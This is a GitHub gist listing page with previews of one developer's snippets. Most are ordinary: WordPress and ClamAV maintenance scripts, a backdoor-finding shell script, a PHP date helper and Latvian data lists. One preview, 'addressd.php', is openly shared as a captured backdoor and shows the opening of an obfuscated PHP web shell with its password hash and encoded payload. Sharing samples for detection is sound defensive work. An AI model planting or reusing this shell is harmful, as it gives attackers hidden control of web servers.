Skip to content

Instantly share code, notes, and snippets.

@laacz
laacz / DAB.php
Created April 21, 2015 19:36
DAB
<?php
function DAB_LOVERS_DATE_FUNCTION($date, $return_time = true) {
$created = strtotime($date);
$hr = (int)date('H', $created);
if (date('H', $created) >= '18' && date('H', $created) < '22') {
$timeofday = 'vakar';
} else if (date('H', $created) >= '23' && date('H', $created) < '04') {
$timeofday = 'nakt';
} else if (date('H', $created) >= '04' && date('H', $created) < '04') {
@laacz
laacz / find-crap.sh
Last active August 29, 2015 13:58
Finds primitive PHP backdoor crap in webroot. Each sequential run generates only diff (new or removed suspicious files since last run).
#!/usr/bin/env bash
LASTSCANLOG=/tmp/scanlog.txt
THISSCANLOG=/tmp/scanlog.new.txt
# Paths to search (space delimited)
PATHS="~/ ~/"
# Creates file, if it does not exist
touch $LASTSCANLOG
@laacz
laacz / wp-upgrade-check.sh
Created April 3, 2014 11:47
Finds Wordpress installations with outdated cores and/or plugins. If it throws php warnings (wp-cli does so), just redirect do `wp-update-check.sh 2>/dev/null`.
#!/usr/bin/env bash
#
# Script will find all wordpress installs and check if they're out of date
#
# Using wp-cli - http://wp-cli.org/
# Paths to search for wordpresses. Separated by space.
PATHS="/var/www /data/www"
@laacz
laacz / addressd.php
Last active July 5, 2023 17:12
Found new backdoor script and decoded version. Have fun.
<?
// Password is "root" (w/o quotes, of course:)
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$xYEzDu6r3EZT="GR5yYXp3YH17ejRne3h9cGdgdWBxPDB5dX9xYWQ9NG8ZHjQ0NDQweHt4NCk0MzMvGR40NDQ0cntmPDB9KSQvMH00KDRnYGZ4cXo8MHl1f3FhZD0vMH0/KSY9NG8ZHjQ0NDQ0NDB4e3g6KXd8Zjx8cWxwcXc8Z2F2Z2BmPDB5dX9xYWQ4MH04Jj09PS8ZHjQ0NDRpGR40NDQ0ZnFgYWZ6NDB4e3gvGR5pGR4wZ3F9d3t4fXp/KWd7eH1wZ2B1YHE8MyYgIyciciMhIyYiJyIhJ3AiJiIlIyciISciJyAhciIgIiEiJyJyIiAiISYsIXUhLCF1IiwiJiAnIiwicSIhInAidyMhIXUicCMsIiwiICAjISEiciEtInAgIiN1IXUhICEtJyQhLCcmISYidyEtJyYnLSJ2IXUhJyIjInEgcSEjIC0jLCByISMhdScgIichICBwIyMiJSJ2ISUnICF1ICcnLScnIicgICEiICAgcCcnISYhJiImJyQnJScgIHEgISBxISYiJiJxIiwhdSEjISAhJiJ1IXUhLCMkICIhdSEjIHUgIyEiICwhdSchISEicSAlJyQiICAsIiMjIyF1JyUgIiEsIHAidyIsIyciJSEgIXUnJSBxISMidickIichIyAtIyIgcSclICYhISEgInUhdSEsISInJiMsInAhICEhISEnJSBxJycgdSclIiAgJyMgInAiJSMtJy0hJCEtISMgcSB2IScnJicsJyEhJiJ2IncgLCImI3UgIiAsIiYjdSJ3IC0hJyEhIicnJSEtInciIyN1IS0n
@laacz
laacz / cassette.html
Last active March 13, 2018 19:09
Cassette player buttons (as logical extension to radiobuttons). Rough 6min draft. Demo: http://laacz.lv/tmp/cassette.html
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<style type="text/css" media="screen">
* {
box-sizing: border-box;
}
.magnetofon {
@laacz
laacz / clamav.sh
Created January 29, 2014 19:57
Clamav runline.
/usr/bin/find /var/www -mtime -2 -print0 | xargs -n1 -P2 -0 clamdscan --fdpass --no-summary --infected
@laacz
laacz / archives.php
Last active August 3, 2022 00:42
Wordpress archivi iekš laacz.lv
<?php
/*
Template Name: Archivs
Šo saglabājam iekš tēmas direktorijas. Tad izveidojam ierakstu ar slug "archive"
vai kā nu vēlamies, tam norādam templeitu (jābūt sarakstā) "Archivs". Done.
*/
get_header();
@laacz
laacz / hngen.py
Created November 29, 2013 11:25 — forked from grantslatton/hngen.py
import urllib2
import re
import sys
from collections import defaultdict
from random import random
"""
PLEASE DO NOT RUN THIS QUOTED CODE FOR THE SAKE OF daemonology's SERVER, IT IS
NOT MY SERVER AND I FEEL BAD FOR ABUSING IT. JUST GET THE RESULTS OF THE
CRAWL HERE: http://pastebin.com/raw.php?i=nqpsnTtW AND SAVE THEM TO "archive.txt"
@laacz
laacz / fetch.php
Created November 21, 2013 12:17
Vāzes JSON API
<?php
// Ziņojumi un publiskie lietotāji (tagad visi anonīmi)
$params = [
'format' => 'JSON',
'types' => 'alerts,users',
'os' => 60,
'ma' => '5000',
'mu' => '5000',
@laacz
laacz / pirmais-sniegs.md
Last active December 23, 2015 17:19
Datumi 2005. - 2012. gadā, kuros Latvijā (tās daļā) ir izveidojusies pirmā puslīdz noturīgā sniega kārta.

Pirmais noturīgais sniegs Latvijā

    1. gada 25. oktobris
    1. gada 12. novembris
    1. gada 12. oktobris
    1. gada 12. oktobris
    1. gada 15. novembris
    1. gada 13. oktobris
    1. gada 28. oktobris
    1. gada 24. oktobris